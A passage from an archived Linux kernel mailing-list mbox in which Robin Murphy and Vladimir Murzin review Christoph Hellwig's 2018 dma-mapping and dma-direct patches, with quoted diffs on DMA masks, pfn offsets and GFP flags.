> +static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
> +{
> +	return phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask;
> +}
> +
>  static void *dma_direct_alloc(struct device *dev, size_t size,
>  		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
>  {
> @@ -48,11 +53,29 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
>  	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
>  		gfp |= GFP_DMA32;
>  
> +again:
>  	/* CMA can be used only in the context which permits sleeping */
> -	if (gfpflags_allow_blocking(gfp))
> +	if (gfpflags_allow_blocking(gfp)) {
>  		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
> +		if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
> +			dma_release_from_contiguous(dev, page, count);
> +			page = NULL;
> +		}
> +	}
>  	if (!page)
>  		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
> +
> +	if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
> +		__free_pages(page, page_order);
> +		page = NULL;
> +
> +		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
> +		    !(gfp & GFP_DMA)) {
> +			gfp = (gfp & ~GFP_DMA32) | GFP_DMA;
> +			goto again;
> +		}
> +	}
> +
>  	if (!page)
>  		return NULL;
>  
> 

Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>

Cheers
Vladimir
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 09/33] dma-mapping: take dma_pfn_offset into account in
 dma_max_pfn
Date: Wed, 10 Jan 2018 11:07:55 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <6e4732eb-9eaf-7e5b-863c-d3faa47bb513@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-10-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515582367 24018 195.159.176.226 (10 Jan 2018 11:06:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 11:06:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 12:06:01 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZECl-0005hZ-OW
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 12:06:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755245AbeAJLIC (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 06:08:02 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:39854 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754368AbeAJLIB (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 06:08:01 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id D29CE1529;
        Wed, 10 Jan 2018 03:08:00 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 265A13F318;
        Wed, 10 Jan 2018 03:07:57 -0800 (PST)
In-Reply-To: <20180110080027.13879-10-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9892 gmane.linux.kernel.iommu:22080 gmane.linux.ports.mips.general:63246 gmane.linux.ports.ia64:28559 gmane.linux.ports.sh.devel:56267 gmane.linux.ports.sparc:27218 gmane.linux.kernel.cross-arch:41305 gmane.linux.ports.hexagon:1536 gmane.linux.kernel.arc:3320 gmane.linux.kernel.metag:1612 gmane.linux.ports.arm.kernel:625111 gmane.linux.ports.parisc:28211 gmane.linux.kernel:2662913 gmane.linux.ports.alpha:4710 gmane.linux.ports.ppc64.devel:151886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9892>

On 10/01/18 08:00, Christoph Hellwig wrote:
> This makes sure the generic version can be used with architectures /
> devices that have a DMA offset in the direct mapping.

Reviewed-by: Robin Murphy <robin.murphy@arm.com>

> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>   include/linux/dma-mapping.h | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index 81ed9b2d84dc..d84951865be7 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -692,7 +692,7 @@ static inline int dma_set_seg_boundary(struct device *dev, unsigned long mask)
>   #ifndef dma_max_pfn
>   static inline unsigned long dma_max_pfn(struct device *dev)
>   {
> -	return *dev->dma_mask >> PAGE_SHIFT;
> +	return (*dev->dma_mask >> PAGE_SHIFT) + dev->dma_pfn_offset;
>   }
>   #endif
>   
> 

From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 10/33] arm64: don't override dma_max_pfn
Date: Wed, 10 Jan 2018 11:08:27 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <115563c4-7929-a68c-459a-89d787051053@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-11-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515582401 31632 195.159.176.226 (10 Jan 2018 11:06:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 11:06:41 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 12:06:35 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZEDG-00076h-17
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 12:06:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965114AbeAJLId (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 06:08:33 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:39912 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753809AbeAJLIc (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 06:08:32 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 109D11529;
        Wed, 10 Jan 2018 03:08:32 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 5BAA73F318;
        Wed, 10 Jan 2018 03:08:28 -0800 (PST)
In-Reply-To: <20180110080027.13879-11-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9893 gmane.linux.kernel.iommu:22081 gmane.linux.ports.mips.general:63247 gmane.linux.ports.ia64:28560 gmane.linux.ports.sh.devel:56268 gmane.linux.ports.sparc:27219 gmane.linux.kernel.cross-arch:41306 gmane.linux.ports.hexagon:1537 gmane.linux.kernel.arc:3321 gmane.linux.kernel.metag:1613 gmane.linux.ports.arm.kernel:625112 gmane.linux.ports.parisc:28212 gmane.linux.kernel:2662914 gmane.linux.ports.alpha:4711 gmane.linux.ports.ppc64.devel:151887
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9893>

On 10/01/18 08:00, Christoph Hellwig wrote:
> The generic version now takes dma_pfn_offset into account, so there is no
> more need for an architecture override.

Reviewed-by: Robin Murphy <robin.murphy@arm.com>

> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>   arch/arm64/include/asm/dma-mapping.h | 9 ---------
>   1 file changed, 9 deletions(-)
> 
> diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
> index 0df756b24863..eada887a93bf 100644
> --- a/arch/arm64/include/asm/dma-mapping.h
> +++ b/arch/arm64/include/asm/dma-mapping.h
> @@ -76,14 +76,5 @@ static inline void dma_mark_clean(void *addr, size_t size)
>   {
>   }
>   
> -/* Override for dma_max_pfn() */
> -static inline unsigned long dma_max_pfn(struct device *dev)
> -{
> -	dma_addr_t dma_max = (dma_addr_t)*dev->dma_mask;
> -
> -	return (ulong)dma_to_phys(dev, dma_max) >> PAGE_SHIFT;
> -}
> -#define dma_max_pfn(dev) dma_max_pfn(dev)
> -
>   #endif	/* __KERNEL__ */
>   #endif	/* __ASM_DMA_MAPPING_H */
> 

From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 31/33] dma-direct: reject too small dma masks
Date: Wed, 10 Jan 2018 11:49:34 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <0bcca030-a8da-c34a-a905-707986689f33@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-32-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515584864 8376 195.159.176.226 (10 Jan 2018 11:47:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 11:47:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 12:47:38 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZEr3-0004Ue-Hd
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 12:47:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753072AbeAJLtl (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 06:49:41 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:40642 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751884AbeAJLtk (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 06:49:40 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id E8E8C1435;
        Wed, 10 Jan 2018 03:49:39 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 3B37A3F581;
        Wed, 10 Jan 2018 03:49:36 -0800 (PST)
In-Reply-To: <20180110080027.13879-32-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9894 gmane.linux.kernel.iommu:22083 gmane.linux.ports.mips.general:63248 gmane.linux.ports.ia64:28561 gmane.linux.ports.sh.devel:56269 gmane.linux.ports.sparc:27220 gmane.linux.kernel.cross-arch:41307 gmane.linux.ports.hexagon:1538 gmane.linux.kernel.arc:3322 gmane.linux.kernel.metag:1614 gmane.linux.ports.arm.kernel:625133 gmane.linux.ports.parisc:28213 gmane.linux.kernel:2662944 gmane.linux.ports.alpha:4712 gmane.linux.ports.ppc64.devel:151888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9894>

On 10/01/18 08:00, Christoph Hellwig wrote:
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>   include/linux/dma-direct.h |  1 +
>   lib/dma-direct.c           | 19 +++++++++++++++++++
>   2 files changed, 20 insertions(+)
> 
> diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
> index 4788bf0bf683..bcdb1a3e4b1f 100644
> --- a/include/linux/dma-direct.h
> +++ b/include/linux/dma-direct.h
> @@ -42,5 +42,6 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
>   		gfp_t gfp, unsigned long attrs);
>   void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
>   		dma_addr_t dma_addr, unsigned long attrs);
> +int dma_direct_supported(struct device *dev, u64 mask);
>   
>   #endif /* _LINUX_DMA_DIRECT_H */
> diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> index 784a68dfdbe3..40b1f92f2214 100644
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -122,6 +122,24 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
>   	return nents;
>   }
>   
> +int dma_direct_supported(struct device *dev, u64 mask)
> +{
> +#ifdef CONFIG_ZONE_DMA
> +	if (mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
> +		return 0;
> +#else
> +	/*
> +	 * Because 32-bit DMA masks are so common we expect every architecture
> +	 * to be able to satisfy them - either by not supporting more physical
> +	 * memory, or by providing a ZONE_DMA32.  If neither is the case, the
> +	 * architecture needs to use an IOMMU instead of the direct mapping.
> +	 */
> +	if (mask < DMA_BIT_MASK(32))
> +		return 0;

Do you think it's worth the effort to be a little more accommodating 
here? i.e.:

		return dma_max_pfn(dev) >= max_pfn;

We seem to have a fair few 28-31 bit masks for older hardware which 
probably associates with host systems packing equivalently small amounts 
of RAM.

Otherwise though,

Reviewed-by: Robin Murphy <robin.murphy@arm.com>

Robin.

> +#endif
> +	return 1;
> +}
> +
>   static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
>   {
>   	return dma_addr == DIRECT_MAPPING_ERROR;
> @@ -132,6 +150,7 @@ const struct dma_map_ops dma_direct_ops = {
>   	.free			= dma_direct_free,
>   	.map_page		= dma_direct_map_page,
>   	.map_sg			= dma_direct_map_sg,
> +	.dma_supported		= dma_direct_supported,
>   	.mapping_error		= dma_direct_mapping_error,
>   };
>   EXPORT_SYMBOL(dma_direct_ops);
> 

From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 20/33] dma-mapping: clear harmful GFP_* flags in common
	code
Date: Wed, 10 Jan 2018 11:59:30 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <27b90341-f9d0-356f-0194-1c7203a3f93e@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
	<20180110080027.13879-21-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515585465 22423 195.159.176.226 (10 Jan 2018 11:57:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 11:57:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.5.0
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 12:57:39 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZF0f-0005DY-VD
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 12:57:34 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 77B24D13;
	Wed, 10 Jan 2018 11:59:37 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 22C7DD20
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 11:59:36 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id BE10014E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 11:59:35 +0000 (UTC)
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 631FD1435;
	Wed, 10 Jan 2018 03:59:35 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 98BFF3F581;
	Wed, 10 Jan 2018 03:59:31 -0800 (PST)
In-Reply-To: <20180110080027.13879-21-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-GB
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22085 gmane.linux.ports.mips.general:63249 gmane.linux.ports.ia64:28562 gmane.linux.ports.sh.devel:56270 gmane.linux.ports.sparc:27221 gmane.linux.kernel.cross-arch:41308 gmane.linux.ports.hexagon:1539 gmane.linux.kernel.arc:3323 gmane.linux.kernel.metag:1615 gmane.linux.ports.arm.kernel:625135 gmane.linux.ports.parisc:28214 gmane.linux.kernel:2662955 gmane.linux.ports.alpha:4713 gmane.linux.ports.ppc64.devel:151889
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22085>

On 10/01/18 08:00, Christoph Hellwig wrote:
[...]
> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index 9f28b2fa329e..88bcb1a8211d 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -518,6 +518,13 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
>   	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
>   		return cpu_addr;
>   
> +	/*
> +	 * Let the implementation decide on the zone to allocate from, and
> +	 * decide on the way of zeroing the memory given that the memory
> +	 * returned should always be zeroed.
> +	 */

Just a note that if we're all happy to enshrine the "allocations are 
always zeroed" behaviour in the API (I am too, for the record), we 
should remember to follow up once the dust settles to update the docs 
and I guess just #define dma_zalloc_coherent dma_alloc_coherent.

Robin.

> +	flag &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM | __GFP_ZERO);
> +
>   	if (!arch_dma_alloc_attrs(&dev, &flag))
>   		return NULL;
>   	if (!ops->alloc)
> 

From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
